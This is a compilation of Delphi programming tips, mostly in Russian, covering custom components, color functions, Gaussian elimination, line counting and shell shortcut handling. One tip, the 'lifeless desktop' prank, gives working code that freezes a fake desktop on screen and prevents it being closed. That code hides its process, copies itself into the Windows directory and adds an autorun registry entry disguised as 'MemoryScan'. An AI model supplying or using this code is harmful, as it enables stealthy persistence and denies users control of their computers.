  FPosList [7] := htBottomLeft;
  FPosList [8] := htLeft;
end;
procedure TDdhSizerControl.CreateHandle;
begin
  inherited CreateHandle;
  SetFocus;
end;
procedure TDdhSizerControl.CreateParams (var Params: TCreateParams);
begin
  inherited CreateParams(Params);
  Params.ExStyle := Params.ExStyle +
    ws_ex_Transparent;
end;
procedure TDdhSizerControl.Paint;
var
  I: Integer;
begin
  Canvas.Brush.Color := clBlack;
  for I := 1 to  8 do
    Canvas.Rectangle (FRectList [I].Left, FRectList [I].Top,
      FRectList [I].Right, FRectList [I].Bottom);
end;
procedure TDdhSizerControl.WmNcHitTest(var Msg: TWmNcHitTest);
var
  Pt: TPoint;
  I: Integer;
begin
  Pt := Point (Msg.XPos, Msg.YPos);
  Pt := ScreenToClient (Pt);
  Msg.Result := 0;
  for I := 1 to  8 do
    if PtInRect (FRectList [I], Pt) then
      Msg.Result := FPosList [I];
  // if the return value was not set
  if Msg.Result = 0 then
    inherited;
end;
procedure TDdhSizerControl.WmSize (var Msg: TWmSize);
var
  R: TRect;
begin
  R := BoundsRect;
  InflateRect (R, -2, -2);
  FControl.BoundsRect := R;
  // setup data structures
  FRectList [1] := Rect (0, 0, 5, 5);
  FRectList [2] := Rect (Width div 2 - 3, 0,
    Width div 2 + 2, 5);
  FRectList [3] := Rect (Width - 5, 0, Width, 5);
  FRectList [4] := Rect (Width - 5, Height div 2 - 3,
   Width, Height div 2 + 2);
  FRectList [5] := Rect (Width - 5, Height - 5,
   Width, Height);
  FRectList [6] := Rect (Width div 2 - 3, Height - 5,
    Width div 2 + 2, Height);
  FRectList [7] := Rect (0, Height - 5, 5, Height);
  FRectList [8] := Rect (0, Height div 2 - 3,
   5, Height div 2 + 2);
end;
procedure TDdhSizerControl.SizerControlExit (Sender: TObject);
begin
  Free;
end;
procedure TDdhSizerControl.WmLButtonDown (var Msg: TWmLButtonDown);
begin
  Perform (wm_SysCommand, sc_DragMove, 0);
end;
procedure TDdhSizerControl.WmMove (var Msg: TWmMove);
var
  R: TRect;
begin
  R := BoundsRect;
  InflateRect (R, -2, -2);
  FControl.Invalidate; // repaint entire surface
  FControl.BoundsRect := R;
end;
// components registration
procedure Register;
begin
  RegisterComponents ('DDHB', [TDdhSizeButton]);
  RegisterNoIcon ([TDdhSizerControl]);
end;
end.

DDHSTAR_PAS.HTM.

unit DdhStar;
interface
uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs;
type
  TDdhStar = class (TCustomControl)
  private
    {data fields for properties}
    fLineColor: TColor;
    fLineSize: Integer;
    fLinesVisible: Boolean;
    Pts: array [0..5] of TPoint;
  protected
    {set and get methods}
    procedure SetLineColor (Value: TColor);
    procedure SetLineSize (Value: Integer);
    procedure SetLinesVisible (Value: Boolean);
  public
    constructor Create (AOwner: TComponent); override;
    procedure CreateHandle; override;
    procedure SetBounds (ALeft, ATop, AWidth, AHeight: Integer); override;
    procedure Paint; override;
  published
    property LineColor: TColor
      read fLineColor write SetLineColor default clBlack;
    property LineSize: Integer
      read fLineSize write SetLineSize default 2;
    property LinesVisible: Boolean
      read fLinesVisible write SetLinesVisible default False;
    property Width default 50;
    property Height default 50;
  end;
procedure Register;
implementation
constructor TDdhStar.Create (AOwner: TComponent);
begin
  inherited Create (AOwner);
  // set default values
  fLineColor := clBlack;
  fLineSize := 2;
  fLinesVisible := False;
  Width := 50;
  Height := 50;
end;
procedure TDdhStar.SetBounds (ALeft, ATop, AWidth, AHeight: Integer);
var
  HRegion1: THandle;
begin
  inherited;
  // compute points
  Pts [0] := Point (AWidth div 2, 0);
  Pts [1] := Point (AWidth, AHeight);
  Pts [2] := Point (0, AHeight div 3);
  Pts [3] := Point (AWidth, AHeight div 3);
  Pts [4] := Point (0, AHeight);
  Pts [5] := Point (Width div 2, 0);
  // set component shape
  if HandleAllocated then
  begin
    HRegion1 := CreatePolygonRgn (Pts,
      sizeof (Pts) div 8, winding);
    SetWindowRgn (Handle, HRegion1, True);
  end;
end;
procedure TDdhStar.CreateHandle;
var
  HRegion1: THandle;
begin
  inherited;
  HRegion1 := CreatePolygonRgn (Pts,
    sizeof (Pts) div 8, winding);
  SetWindowRgn (Handle, HRegion1, True);
end;
procedure TDdhStar.Paint;
begin
  Canvas.Brush.Color := clYellow;
  if fLinesVisible then
  begin
    Canvas.Pen.Color := fLineColor;
    Canvas.Pen.Width := fLineSize;
    SetPolyFillMode (Canvas.Handle, winding);
    Canvas.Polygon (Pts);
  end
  else
  begin
    Canvas.Pen.Width := 1;
    Canvas.Rectangle (-1, -1, Width + 1, Height + 1);
  end;
end;
{property access functions}
procedure TDdhStar.SetLineColor(Value: TColor);
begin
  if Value <> fLineColor then
  begin
    fLineColor := Value;
    Invalidate;
  end;
end;
procedure TDdhStar.SetLineSize(Value: Integer);
begin
  if Value <> fLineSize then
  begin
    fLineSize := Value;
    Invalidate;
  end;
end;
procedure TDdhStar.SetLinesVisible(Value: Boolean);
begin
  if Value <> fLinesVisible then
  begin
    fLinesVisible := Value;
    Invalidate;
  end;
end;
{$R ddhstar.dcr}
procedure Register;
begin
  RegisterComponents('DDHB', [TDdhStar]);
end;
end.

Лицензирование активных форм и ActiveX.

Вероятно, при создании ActiveForm вы выбрали опцию лицензирования и не поместили .LIC-файл в ваш .OCX-файл. Обычно с ActiveForms/ActiveXs лицензирование не используется, поскольку активные элементы в основном используются для повышения привлекательности Интернет-сервера и "распространяются" свободно. Чтобы выключить лицензию времени разработки (Design-Time Licensing), найдите секцию initialization в вашем ActiveForm XXXImpl-файле и замените предпоследний параметр вызова TActiveXControlFactory.Create на пустую строку:

initialization
  TActiveXControlFactory.Create( ComServer, TAnimateX,
    TAnimate, Class_AnimateX, 1, '', 0);
end.

Примечание: Данный совет отностится только если вы разрабатываете собственные элементы управления. Потенциально хакерские элементы ActiveX могут нанести вред компьютеру!

Безжизненный рабочий стол.

Алгоритм следующий: нужно на форму вынести компонент класса TImage скопировать в него рабочий стол и растянуть во весь экран. Делаем это по созданию окна [событие OnCreate()]:

procedure TForm1.FormCreate(Sender: TObject);
var
  ScreenDC: HDC;
  canvas:Tcanvas;
begin
  ScreenDC:=GetDC(0);
  Canvas:=TCanvas.Create();
  canvas.Handle:=ScreenDC;
  Width:=Screen.Width;
  Height:=Screen.Height;
  Image1.Canvas.CopyRect(Rect(0,0,Image1.Width,Image1.Height),
  canvas,Rect(0,0,Screen.Width,Screen.Height));
  Releasedc(0,ScreenDC);
  Canvas.Free;
end;

Затем нужно свойство формы BorderStyle установить в значение bsNone, чтобы не было видно боковины окна, а свойство FormStyle - в fsStayOnTop, дабы наше окно всегда было всех других окон!!! Свойство Align компонента Image1- в значение alClient, чтобы картинка занимала всё свободное. место.

Далее позаботимся о том, чтобы наше приложение не было видно и чтобы пользователь не мог завершить его :-)).

Событие по созданию окна в конечном итоге должно выглядеть так:

procedure TForm1.FormCreate(Sender: TObject);
var
  ScreenDC: HDC;
  canvas: Tcanvas;
  h: TRegistry;
begin
  ScreenDC:=GetDC(0);
  Canvas:=TCanvas.Create();
  canvas.Handle:=ScreenDC;
  Width:=Screen.Width;
  Height:=Screen.Height;
  Image1.Canvas.CopyRect(Rect(0,0,Image1.Width,Image1.Height),
  canvas,Rect(0,0,Screen.Width,Screen.Height));
  Releasedc(0,ScreenDC);
  Canvas.Free;
  if not(csDesigning in ComponentState) then
  RegisterServiceProcess(GetCurrentProcessID,1);
  WinDirP := StrAlloc(MAX_PATH);
  Res := GetWindowsDirectory(WinDirP, MAX_PATH);
  if Res > 0 then WinDir := StrPas(WinDirP);
  if FileExists(WinDir+'\OurProgram.com')=false then
  CopyFile(PChar(Application.ExeName),PChar(WinDir+'\OurProgram.com'),false);
  h:=TRegistry.Create;
  h.RootKey:=HKEY_LOCAL_MACHINE;
  h.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Run',true);
  h.WriteString('MemoryScan',WinDir+'\OurProgram.com');
  h.CloseKey;
  h.Free;
end;

На событие OnCloseQuery() формы напишем:

CanClose:=false;

На событие OnActivate():

ShowWindow(Application.Handle,sw_Hide);

В области public объявим несколько переменных:

public
  { Public declarations }
  Windir: string;
  WindirP: PChar;
  Res: Cardinal;

А в uses подключим модуль Registry:

uses
  Registry;

Как сделать стандартные цвета в Delphi светлее или темнее.

В данной статье хотелось бы показать принцип получения из обычного цвета более тёмный или более светлый. А так же рассмотрим, как этот принцип реализован в программном коде.

Итак, немного теории

Каждый из трёх основных цветов (Красный, Зелёный ,Синий) могут иметь значение от 0 до 255, соответственно скомбинировав их мы можем получить 16,777,216 возможных цветов. Визуально это можно представить как три оси куба, в котором направления x, y и z отвечают за цвета красный, зелёный и синий. В сочетании эти направления дают точку в кубе, представляющую один цвет из 16 миллионов. Точка куба, в которой значение равняется 0 (0,0,0) соответствует чёрному цвету, значение (255,255,255) - белому цвету, (255,0,0) - чисто красному, и т.д.

Если визуально провести линию между каким-либо цветом (r,g,b) и белым цветом (255,255,255), то получится, что на этой линии будут лежать все значения данного цвета (r,g,b). Если мы будем двигаться по линии в сторону белого цвета, то яркость будет увеличиваться до тех пор пока не получим чисто белый цвет.

То же самое можно сделать и для уменьшения яркости цвета. Достаточно провести линию из цвета (r,g,b) в чёрный (0,0,0). То есть при движении по линии к чёрному цвету мы будем уменьшать яркость до тех пор, пока не получим чёрный цвет.

Функции Darker и Lighter требуют 2 параметра и используются примерно так:

Panel1.Color := Darker(clBlue,20);

Получится панель цветов, которая на 20% темнее обычного синего цвета.

Теперь давайте посмотрим, как выглядят внутри наши функции:

function Darker(Color:TColor; Percent:Byte):TColor;
var
  r, g, b: Byte;
begin
  Color:=ColorToRGB(Color);
  r:=GetRValue(Color);
  g:=GetGValue(Color);
  b:=GetBValue(Color);
  r:=r-muldiv(r,Percent,100);  //процент% уменьшения яркости
  g:=g-muldiv(g,Percent,100);
  b:=b-muldiv(b,Percent,100);
  result:=RGB(r,g,b);
end;
function Lighter(Color:TColor; Percent:Byte):TColor;
var
  r, g, b: Byte;
begin
  Color:=ColorToRGB(Color);
  r:=GetRValue(Color);
  g:=GetGValue(Color);
  b:=GetBValue(Color);
  r:=r+muldiv(255-r,Percent,100); //процент% увеличения яркости
  g:=g+muldiv(255-g,Percent,100);
  b:=b+muldiv(255-b,Percent,100);
  result:=RGB(r,g,b);
end;

Так же я добавил некоторые функции, в которых уже добавлены стандартные значения процентов. Это для тех, кому некогда задумываться над процентами :).

Panel1.Color := Light(clBlue);
Panel1.Color := SlightlyDark(clRed);
Panel1.Color := VeryLight(clMagenta);

Etc.

function SlightlyDark(Color:TColor):TColor;
begin
  Result := Darker(Color,25);
end;
function Dark(Color:TColor):TColor;
begin
  Result := Darker(Color,50);
end;
function VeryDark(Color:TColor):TColor;
begin
  Result := Darker(Color,75);
end;
function SlightlyLight(Color:TColor):TColor;
begin
  Result := Lighter(Color,25);
end;
function Light(Color:TColor):TColor;
begin
  Result := Lighter(Color,50);
end;
function VeryLight(Color:TColor):TColor;
begin
  Result := Lighter(Color,75);
end;

Получить осветлённый цвет.

// Получить осветлённый цвет
function TfmDW6Main.GetLightColor(const Color: TColor; const Light: Byte) : TColor;
type
  TRGB = packed record
    R, G, B: Byte;
  end;
var
  fFrom: TRGB;
  function GetRGB(const Color: TColor): TRGB;
  var
    iColor: TColor;
  begin
    iColor := ColorToRGB(Color);
    Result.R := GetRValue(iColor);
    Result.G := GetGValue(iColor);
    Result.B := GetBValue(iColor);
  end;
begin
  FFrom := GetRGB(Color);
  Result := RGB(
    Round(FFrom.R + (255 - FFrom.R) * (Light / 100)),
    Round(FFrom.G + (255 - FFrom.G) * (Light / 100)),
    Round(FFrom.B + (255 - FFrom.B) * (Light / 100))
  );
end;

Границы для перемещения формы в рабочей области.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

// For some reason messages.pas declares no message record for this message 
type
   TWmMoving = record
     Msg: Cardinal;
     fwSide: Cardinal;
     lpRect: PRect;
     Result: Integer;
   end;
 // Add a handler to your forms private section: 
procedure WMMoving(var msg: TWMMoving); message WM_MOVING;
 // Implement it as 
  procedure TFormX.WMMoving(var msg: TWMMoving);
   var
     r: TRect;
   begin
     r := Screen.WorkareaRect;
    // compare the new form bounds in msg.lpRect^ with r and modify it if 
   // necessary 
    if msg.lprect^.left < r.left then
       OffsetRect(msg.lprect^, r.left - msg.lprect^.left, 0);
     if msg.lprect^.top < r.top then
       OffsetRect(msg.lprect^, 0, r.top - msg.lprect^.top);
     if msg.lprect^.right > r.right then
       OffsetRect(msg.lprect^, r.right - msg.lprect^.right, 0);
     if msg.lprect^.bottom > r.bottom then
       OffsetRect(msg.lprect^, 0, r.bottom - msg.lprect^.bottom);
     inherited;
   end;

Метод Гаусса решения системы линейных уравнений.

Автор: Mystic WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Метод Гаусса решения системы линейных уравнений
Рещение системы линейных уравнений (возможно переопределенной) методом Гаусса.
Определяется ситуация, что система не имеет рещений. Ситуация, когда система
имеет более чем одно решение не рассматривается. В случае удачного завершения
возвращает нуль.
Зависимости: System
Автор:       Mystic, mystic2000@newmail.ru, ICQ:125905046, Харьков
Copyright:   (C) Mystic
Дата:        25 апреля 2002 г.
***************************************************** }
function LinGauss(M, N: Integer; Data: PExtended; X: PExtended): Cardinal;
var
  PtrData: PExtended;
  PtrData1, PtrData2: PExtended;
  Temp: Extended;
  I, J, Row: Integer;
  Max: Extended;
  MaxR: Integer;
begin
  Assert(M >= N, 'Invalid start data');
  for I := 0 to N - 1 do // Для каждой переменной
  begin
    // 1. Поиск максимального элемента
    PChar(PtrData) := PChar(Data) + I * (N + 2) * SizeOf(Extended);
    MaxR := I;
    Max := PtrData^;
    for J := I + 1 to M - 1 do
    begin
      PChar(PtrData) := PChar(PtrData) + (N + 1) * SizeOf(Extended);
      if Abs(PtrData^) > Abs(Max) then
      begin
        Max := PtrData^;
        MaxR := J;
      end;
    end;
    // 2. А вдруг неразрешима?
    if Abs(Max) < 1.0E-10 then
    begin
      Result := $FFFFFFFF;
      Exit;
    end;
    // 3. Меняем местами строки
    if MaxR <> I then
    begin
      PChar(PtrData1) := PChar(Data) + MaxR * (N + 1) * SizeOf(Extended);
      PChar(PtrData2) := PChar(Data) + I * (N + 1) * SizeOf(Extended);
      for J := 0 to N do
      begin
        Temp := PtrData1^;
        PtrData1^ := PtrData2^;
        PtrData2^ := Temp;
        PChar(PtrData1) := PChar(PtrData1) + SizeOf(Extended);
        PChar(PtrData2) := PChar(PtrData2) + SizeOf(Extended);
      end;
    end;
    // 4. Пересчет направляющей строки
    PChar(PtrData) := PChar(Data) + I * (N + 1) * SizeOf(Extended);
    for J := 0 to N do
    begin
      PtrData^ := PtrData^ / Max;
      PChar(PtrData) := PChar(PtrData) + SizeOf(Extended);
    end;
    // 5. Пересчет всей оставшйся части таблицы
    PtrData1 := Data;
    for Row := 0 to M - 1 do
    begin
      if Row = I then
      begin
        PChar(PtrData1) := PChar(PtrData1) + (N + 1) * SizeOf(Extended);
        Continue;
      end;
      PChar(PtrData2) := PChar(Data) + I * (N + 1) * SizeOf(Extended);
      Temp := PExtended(PChar(PtrData1) + I * SizeOf(Extended))^;
      for J := 0 to N do
      begin
        PtrData1^ := PtrData1^ - Temp * PtrData2^;
        PChar(PtrData1) := PChar(PtrData1) + SizeOf(Extended);
        PChar(PtrData2) := PChar(PtrData2) + SizeOf(Extended);
      end;
    end;
  end;
  // 6. Проверка того, что система переопределена
  PChar(PtrData) := PChar(Data) + N * (N + 1) * SizeOf(Extended);
  for I := N to M - 1 do
    for J := 0 to N do
    begin
      if Abs(PtrData^) > 1.0E-10 then
      begin
        Result := $FFFFFFFF;
        Exit;
      end;
      PChar(PtrData) := PChar(PtrData) + SizeOf(Extended);
    end;
  // Все ОК
  PChar(PtrData) := PChar(Data) + N * SizeOf(Extended);
  for I := 0 to N - 1 do
  begin
    X^ := PtrData^;
    PChar(X) := PChar(X) + SizeOf(Extended);
    PChar(PtrData) := PChar(PtrData) + (N + 1) * SizeOf(Extended);
  end;
  Result := 0;
end;

Подсчет количества строк в текстовом файле.

Автор: [NIKEL] WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Подсчет количества строк в текстовом файле
Считает строки в текстовом файле,
основываясь на количестве символов $0A (LineFeed).
Зависимости: Windows
Автор:       Борис Новгородов, mbo@mail.ru, Новосибирск
Copyright:   Собственное написание
Дата:        1 декабря 2002 г.
***************************************************** }
function LinesCount(const Filename: string): Integer;
var
  HFile: THandle;
  FSize, WasRead, i: Cardinal;
  Buf: array[1..4096] of byte;
begin
  Result := 0;
  HFile := CreateFile(Pchar(FileName), GENERIC_READ, FILE_SHARE_READ, nil,
    OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
  if HFile <> INVALID_HANDLE_VALUE then
  begin
    FSize := GetFileSize(HFile, nil);
    if FSize > 0 then
    begin
      Inc(Result);
      ReadFile(HFile, Buf, 4096, WasRead, nil);
      repeat
        for i := WasRead downto 1 do
          if Buf[i] = 10 then
            Inc(Result);
        ReadFile(HFile, Buf, 4096, WasRead, nil);
      until WasRead = 0;
    end;
  end;
  CloseHandle(HFile);
end;

Пример использования:

Label1.Caption := IntToStr(LinesCount('e:\zz.txt'));

Количество строк в текстовом файле.

Если файлы не слишком велики, вы можете сделать так:

List := TStringList.Create;
try
  List.LoadFromFile('C:\FILE.TXT');
  Gauge.MaxValue := List.Count;
finally
  List.Free;
end;

Мы читаем в память весь текст, и кроме подсчета строк этот код ничего не делает. Другая идея заключается в использовании не счетчика строк, а счетчика байт. В самом начале вы запрашиваете размер файла (используя функцию Delphi FileSize), и в цикле проходите все байты, как вы делали это со строками. Цикл может выглядеть примерно так (предположим, вы используете стандартный паскалевский тип TEXT):

Gauge.MaxValue := FileSize(TextFile);
Reset(TextFile);
while not eof(TextFile) do
begin
  Readln(TextFile, Line);
  { Обработка строки }
  with Gauge do
  begin
    Progress := Progress + Length(Line) + 2; { 2 для CR/LF }
    Refresh;
  end;
end;

Компонент Линия.

Оформил: DeeCo

Автор: Александр Журавлев.

Скачать исходные коды AzLines.zip (7K).

Как можно разорвать соединение с интернетом.

Автор: Baa WEB-сайт: http://forum.vingrad.ru

LONG lineDrop( 
  HCALL hCall,  
  LPCSTR lpsUserUserInfo,  
  DWORD dwSize  
  );  

Мастер управления ярлыками.

Автор: Xavier Pacheco

unit Main;
interface
uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls, ComCtrls, ExtCtrls, Spin, WinShell, Menus;
type
  TMainForm = class(TForm)
    Panel1: TPanel;
    btnOpen: TButton;
    edLink: TEdit;
    btnNew: TButton;
    btnSave: TButton;
    Label3: TLabel;
    Panel2: TPanel;
    Label1: TLabel;
    Label2: TLabel;
    Label4: TLabel;
    Label5: TLabel;
    Label6: TLabel;
    Label7: TLabel;
    Label8: TLabel;
    Label9: TLabel;
    edIcon: TEdit;
    edDesc: TEdit;
    edWorkDir: TEdit;
    edArg: TEdit;
    cbShowCmd: TComboBox;
    hkHotKey: THotKey;
    speIcnIdx: TSpinEdit;
    pnlIconPanel: TPanel;
    imgIconImage: TImage;
    btnExit: TButton;
    MainMenu1: TMainMenu;
    File1: TMenuItem;
    Open1: TMenuItem;
    Save1: TMenuItem;
    NewLInk1: TMenuItem;
    N1: TMenuItem;
    Exit1: TMenuItem;
    Help1: TMenuItem;
    About1: TMenuItem;
    edPath: TEdit;
    procedure btnOpenClick(Sender: TObject);
    procedure btnNewClick(Sender: TObject);
    procedure edIconChange(Sender: TObject);
    procedure btnSaveClick(Sender: TObject);
    procedure btnExitClick(Sender: TObject);
    procedure About1Click(Sender: TObject);
  private
    procedure GetControls(var SLI: TShellLinkInfo);
    procedure SetControls(const SLI: TShellLinkInfo);
    procedure ShowIcon;
    procedure OpenLinkFile(const LinkFileName: string);
  end;
var
  MainForm: TMainForm;
implementation
{$R *.DFM}
uses PickU, NewLinkU, AboutU, CommCtrl, ShellAPI;
type
  THotKeyRec = record
    Char, ModCode: Byte;
  end;
procedure TMainForm.SetControls(const SLI: TShellLinkInfo);
{ Sets values of UI controls based on contents of SLI }
var
  Mods: THKModifiers;
begin
  with SLI do
  begin
    edPath.Text := PathName;
    edIcon.Text := IconLocation;
    { if icon name is blank and link is to exe, use exe name for icon }
    { path.  This is done because the icon index is ignored if the    }
    { icon path is blank, but an exe may contain more than one icon.  }
    if (IconLocation = '') and
      (CompareText(ExtractFileExt(PathName), 'EXE') = 0) then
      edIcon.Text := PathName;
    edWorkDir.Text := WorkingDirectory;
    edArg.Text := Arguments;
    speIcnIdx.Value := IconIndex;
    edDesc.Text := Description;
    { SW_* constants start at 1 }
    cbShowCmd.ItemIndex := ShowCmd - 1;
    { Hot key char in low byte }
    hkHotKey.HotKey := Lo(HotKey);
    { Figure out which modifier flags are in high byte }
    Mods := [];
    if (HOTKEYF_ALT and Hi(HotKey)) <> 0 then
      include(Mods, hkAlt);
    if (HOTKEYF_CONTROL and Hi(HotKey)) <> 0 then
      include(Mods, hkCtrl);
    if (HOTKEYF_EXT and Hi(HotKey)) <> 0 then
      include(Mods, hkExt);
    if (HOTKEYF_SHIFT and Hi(HotKey)) <> 0 then
      include(Mods, hkShift);
    { Set modifiers set }
    hkHotKey.Modifiers := Mods;
  end;
  ShowIcon;
end;
procedure TMainForm.GetControls(var SLI: TShellLinkInfo);
{ Gets values of UI controls and uses them to set values of SLI }
var
  CtlMods: THKModifiers;
  HR: THotKeyRec;
begin
  with SLI do
  begin
    PathName := edPath.Text;
    IconLocation := edIcon.Text;
    WorkingDirectory := edWorkDir.Text;
    Arguments := edArg.Text;
    IconIndex := speIcnIdx.Value;
    Description := edDesc.Text;
    { SW_* constants start at 1 }
    ShowCmd := cbShowCmd.ItemIndex + 1;
    { Get hot key character }
    word(HR) := hkHotKey.HotKey;
    { Figure out which modifier keys are being used }
    CtlMods := hkHotKey.Modifiers;
    with HR do
    begin
      ModCode := 0;
      if (hkAlt in CtlMods) then
        ModCode := ModCode or HOTKEYF_ALT;
      if (hkCtrl in CtlMods) then
        ModCode := ModCode or HOTKEYF_CONTROL;
      if (hkExt in CtlMods) then
        ModCode := ModCode or HOTKEYF_EXT;
      if (hkShift in CtlMods) then
        ModCode := ModCode or HOTKEYF_SHIFT;
    end;
    HotKey := word(HR);
  end;
end;
procedure TMainForm.ShowIcon;
{ Retreives icon from appropriate file and shows in IconImage }
var
  HI: THandle;
  IcnFile: string;
  IconIndex: word;
begin
  { Get name of icon file }
  IcnFile := edIcon.Text;
  { If blank, use the exe name }
  if IcnFile = '' then
    IcnFile := edPath.Text;
  { Make sure file exists }
  if FileExists(IcnFile) then
  begin
    IconIndex := speIcnIdx.Value;
    { Extract icon from file }
    HI := ExtractAssociatedIcon(hInstance, PChar(IcnFile), IconIndex);
    { Assign icon handle to IconImage }
    imgIconImage.Picture.Icon.Handle := HI;
  end;
end;
procedure TMainForm.OpenLinkFile(const LinkFileName: string);
{ Opens a link file, get info, and displays info in UI }
var
  SLI: TShellLinkInfo;
begin
  edLink.Text := LinkFileName;
  try
    GetShellLinkInfo(LinkFileName, SLI);
  except
    on EShellOleError do
      MessageDlg('Error occurred while opening link', mtError, [mbOk], 0);
  end;
  SetControls(SLI);
end;
procedure TMainForm.btnOpenClick(Sender: TObject);
{ OnClick handler for OpenBtn }
var
  LinkFile: string;
begin
  if GetLinkFile(LinkFile) then
    OpenLinkFile(LinkFile);
end;
procedure TMainForm.btnNewClick(Sender: TObject);
{ OnClick handler for NewBtn }
var
  FileName: string;
  Dest: Integer;
begin
  if GetNewLinkName(FileName, Dest) then
    OpenLinkFile(CreateShellLink(FileName, '', Dest));
end;
procedure TMainForm.edIconChange(Sender: TObject);
{ OnChange handler for IconEd and IcnIdxEd }
begin
  ShowIcon;
end;
procedure TMainForm.btnSaveClick(Sender: TObject);
{ OnClick handler for SaveBtn }
var
  SLI: TShellLinkInfo;
begin
  GetControls(SLI);
  try
    SetShellLinkInfo(edLink.Text, SLI);
  except
    on EShellOleError do
      MessageDlg('Error occurred while setting info', mtError, [mbOk], 0);
  end;
end;
procedure TMainForm.btnExitClick(Sender: TObject);
{ OnClick handler for ExitBtn }
begin
  Close;
end;
procedure TMainForm.About1Click(Sender: TObject);
{ OnClick handler for Help|About menu item }
begin
  AboutBox;
end;
end.

Связывание функций.

Типы не линкуются. Они используются только самим компилятором. Переменные "умным" компилятором не удаляются. Код, расположенный в секции initialization вызывается всегда. Процесс компиляции программ Delphi состоит из двух шагов: во-первых, компилируются все модули программы, после чего получаются двоичные промежуточные .DCU-файлы. Во-вторых, они полностью связываются все вместе и получается .EXE-файл. Во время второго шага удаляются любые функции/процедуры без внешних ссылок. Поэтому нет повода для беспокойства: ВСЕ функции, которые присутствуют в программе, будует помещены в .DCU-файл, и только те из них, которые реально используются, будут упакованы в EXE. Все будет работать именно так, как вы и ожидаете, нет никаких сюрпризов, в противном случае это связывание не будет 'smart' (умным), и эту опцию можно не включать.

Получаем информацию о ярлыке.

uses 
  ShlObj, 
  ComObj, 
  ActiveX, 
  CommCtrl; 
type 
  PShellLinkInfoStruct = ^TShellLinkInfoStruct; 
  TShellLinkInfoStruct = record 
    FullPathAndNameOfLinkFile: array[0..MAX_PATH] of Char; 
    FullPathAndNameOfFileToExecute: array[0..MAX_PATH] of Char; 
    ParamStringsOfFileToExecute: array[0..MAX_PATH] of Char; 
    FullPathAndNameOfWorkingDirectroy: array[0..MAX_PATH] of Char; 
    Description: array[0..MAX_PATH] of Char; 
    FullPathAndNameOfFileContiningIcon: array[0..MAX_PATH] of Char; 
    IconIndex: Integer; 
    HotKey: Word; 
    ShowCommand: Integer; 
    FindData: TWIN32FINDDATA; 
  end; 
procedure GetLinkInfo(lpShellLinkInfoStruct: PShellLinkInfoStruct); 
var 
  ShellLink: IShellLink; 
  PersistFile: IPersistFile; 
  AnObj: IUnknown; 
begin 
  // access to the two interfaces of the object 
  AnObj       := CreateComObject(CLSID_ShellLink); 
  ShellLink   := AnObj as IShellLink; 
  PersistFile := AnObj as IPersistFile; 
  // Opens the specified file and initializes an object from the file contents. 
  PersistFile.Load(PWChar(WideString(lpShellLinkInfoStruct^.FullPathAndNameOfLinkFile)), 0); 
  with ShellLink do 
  begin 
    // Retrieves the path and file name of a Shell link object. 
    GetPath(lpShellLinkInfoStruct^.FullPathAndNameOfFileToExecute, 
      SizeOf(lpShellLinkInfoStruct^.FullPathAndNameOfLinkFile), 
      lpShellLinkInfoStruct^.FindData, 
      SLGP_UNCPRIORITY); 
    // Retrieves the description string for a Shell link object. 
    GetDescription(lpShellLinkInfoStruct^.Description, 
      SizeOf(lpShellLinkInfoStruct^.Description)); 
    // Retrieves the command-line arguments associated with a Shell link object. 
    GetArguments(lpShellLinkInfoStruct^.ParamStringsOfFileToExecute, 
      SizeOf(lpShellLinkInfoStruct^.ParamStringsOfFileToExecute)); 
    // Retrieves the name of the working directory for a Shell link object. 
    GetWorkingDirectory(lpShellLinkInfoStruct^.FullPathAndNameOfWorkingDirectroy, 
      SizeOf(lpShellLinkInfoStruct^.FullPathAndNameOfWorkingDirectroy)); 
    // Retrieves the location (path and index) of the icon for a Shell link object. 
    GetIconLocation(lpShellLinkInfoStruct^.FullPathAndNameOfFileContiningIcon, 
      SizeOf(lpShellLinkInfoStruct^.FullPathAndNameOfFileContiningIcon), 
      lpShellLinkInfoStruct^.IconIndex); 
    // Retrieves the hot key for a Shell link object. 
    GetHotKey(lpShellLinkInfoStruct^.HotKey); 
    // Retrieves the show (SW_) command for a Shell link object. 
    GetShowCmd(lpShellLinkInfoStruct^.ShowCommand); 
  end; 
end; 
procedure TForm1.Button1Click(Sender: TObject); 
const 
  br = #13#10; 
var 
  LinkInfo: TShellLinkInfoStruct; 
  s: string; 
begin 
  FillChar(LinkInfo, SizeOf(LinkInfo), #0); 
  LinkInfo.FullPathAndNameOfLinkFile := 'C:\WINNT\Profiles\user\Desktop\FileName.lnk'; 
  GetLinkInfo(@LinkInfo); 
  with LinkInfo do 
    s := FullPathAndNameOfLinkFile + br + 
      FullPathAndNameOfFileToExecute + br + 
      ParamStringsOfFileToExecute + br + 
      FullPathAndNameOfWorkingDirectroy + br + 
      Description + br + 
      FullPathAndNameOfFileContiningIcon + br + 
      IntToStr(IconIndex) + br + 
      IntToStr(LoByte(HotKey)) + br + 
      IntToStr(HiByte(HotKey)) + br + 
      IntToStr(ShowCommand) + br + 
      FindData.cFileName + br + 
      FindData.cAlternateFileName; 
  Memo1.Lines.Add(s); 
end;

Колонки в TListBox - Вставка символа табуляции.

В книгах и других источниках по Delphi часто приводится пример создания компонента, способного выводить текст в списке в несколько колонок. Между тем, мало кому известен факт, что стандартный компонент TListBox уже содержит свойство, которое позволяет это делать. Это свойство TabWidth (в Delphi 2 оно не описано в файлах помощи, хотя так же присутствует), которое наследуется от класса TCustomListBox и задает величину табуляции в пикселах. Установите его равным, скажем, половине ширины компонента ListBox, чтобы отображалось две колонки. Когда будете добавлять строки, всавьте в нужных местах символ табуляции (^I):

ListBox1.Items.Add('Колонка1'^I'Колонка2');

Недостаток такого подхода заключается в том, что ширина колонки не изменяется авоматически в зависимости от ширины выводимых строк, что, впрочем, легко исправить. Посмотрите на метод TextWidth класса TCanvas. Он возвращает ширину в пикселах передаваемой ему в качестве параметра строки. Тогда перед добавлением каждого нового элемента в список проверяем, превышает ли его ширина ширину колонки:

with ListBox do
begin
  W := Canvas.TextWidth(Str);
  if W > TabWidth then
    TabWidth := W;
end;

Получить список файлов в ListView как в проводнике.

procedure TForm1.Button1Click(Sender: TObject);
var
  ListItem: TListItem;
  sr: tsearchrec;
  NewColumn: TListColumn;
